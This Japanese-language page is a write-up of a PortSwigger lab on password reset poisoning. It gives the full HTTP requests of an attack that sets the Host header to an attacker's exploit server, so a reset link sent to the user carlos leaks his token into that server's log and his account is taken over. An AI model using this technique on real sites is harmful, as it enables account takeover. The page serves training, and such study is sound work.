> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/host-header/basic-password-reset-poisoning.md).

# パスワードリセット機構の基本的なポイズニング

パスワードリセット機構の基本的なポイズニングの PortSwigger Web Security Academy ラボ向けノート。攻撃フロー、ペイロードテスト、Burp Suite による検証、および是正策の文脈を含みます。

### 基本的なパスワードリセットポイズニング

**ラボの説明**

このラボでは、パスワードリセット処理のポイズニングに対する脆弱性を示します。 / ユーザー **carlos** メールで受信したすべてのリンクを、注意せずにクリックします。

目的：

* この欠陥を利用して、有効なリセットリンクを取得します
* サインイン先 **carlos のアカウント**

提供された識別子:

* ユーザー： **wiener**
* パスワード: **peter**

このアカウントに送信されたすべてのメールは、サーバーのメールクライアントからアクセスできます\*\*。

**初期観察**

このアプリは \*\*

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-abb8c6df8eecf6a329147a93cb296791c4948f56%2F%7B79F16CC4-9A45-43A9-9309-6725EE8FB3AA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

入力するときに `wiener` ユーザーには、リセットメールが正しく送信されます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-99b02929b5c820eafcd2733a18be018ad61cae43%2F%7B318DA2A8-155E-4418-BF24-EC95DC4F03CA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a348b33705594a1184289f42fe4d80b20c54d445%2F%7BFE0FC431-30DB-4841-87BE-A60CA7741F98%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**バックエンドリクエストの分析**

リセット要求中に送信されるHTTPリクエストは次のとおりです：

```http
POST /forgot-password HTTP/2
Host: 0af900f303cc106580bb030b00540086.web-security-academy.net
Cookie: session=Ao8thWvlDIgT46OxVL6hKR8lEBRU9H0i; _lab=46%7cMCwCFBQ4z%2fbgtHq4LZdE21KsQdP7n%2btxAhQUsbbmCpEAs2e6hfs40NpqVQzze60ZABOtmiZENKrkIeRhtjQpq7wGfTR4ACkfX%2fy3xiyS2hre0cnWFJ4KZTfb8HXE5b8FT19JGn3t24n5uFzD7iCcyveBexzEgHZ3I%2fpT%2bPde%2bB%2bkXac%3d
Content-Length: 53

csrf=Tk00wDOWaQI4cw34e6fwZ4dXAlXQhXD7&username=wiener
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c8558858183814da0abccc435a7aee45e0a76f90%2F%7B610E551A-ADF4-44AA-9CAB-1E14A7BE1ADA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Hostヘッダー操作テスト**

を置き換えることで `Host` ヘッダー値を任意のドメイン（例： `test.com`）に置き換えると、サーバーは常にその要求を有効として処理し、この変更されたHostからリセットリンクを生成します。

```http
Host: test.com
```

ページは、その内容を通常のホストページと同じように解釈します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9a73c873b35e1cd36981b7ee3ad9e6d10139ebb3%2F%7B18B042AA-CDE1-4AB4-809F-9DCAC6FF7DEF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

これはHost\*\*ヘッダーへの過度の信頼を裏付けています。

**脆弱性の悪用**

攻撃は次の手順で構成されます：

1. を変更する `Host` ヘッダーにドメインを設定して**エクスプロイトサーバー**
2. ユーザーのリセットを要求する **carlos**

アプリケーション：

```http
POST /forgot-password HTTP/2
Host: exploit-0a5c001303a8105f80b302b10120000a.exploit-server.net
Cookie: session=Ao8thWvlDIgT46OxVL6hKR8lEBRU9H0i; _lab=46%7cMCwCFBQ4z%2fbgtHq4LZdE21KsQdP7n%2btxAhQUsbbmCpEAs2e6hfs40NpqVQzze60ZABOtmiZENKrkIeRhtjQpq7wGfTR4ACkfX%2fy3xiyS2hre0cnWFJ4KZTfb8HXE5b8FT19JGn3t24n5uFzD7iCcyveBexzEgHZ3I%2fpT%2bPde%2bB%2bkXac%3d
Content-Length: 53

csrf=Tk00wDOWaQI4cw34e6fwZ4dXAlXQhXD7&username=carlos
```

**結果**

* サーバーは、以下に基づいてリセットリンクを生成します **攻撃者が制御するHost**
* ユーザー **carlos** メールで受信したこの仕掛けられたリンクをクリックする
* すると、リセットトークンがエクスプロイトサーバーのログに表示されます
* アカウントの新しいパスワードを設定できます **carlos**
* 対象アカウントへの接続に成功

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-19bb298c2e3de255e3e8954281a4c673fd0891cf%2F%7B03810734-51A0-4EDA-8290-234DD37A1E85%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/host-header/basic-password-reset-poisoning.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
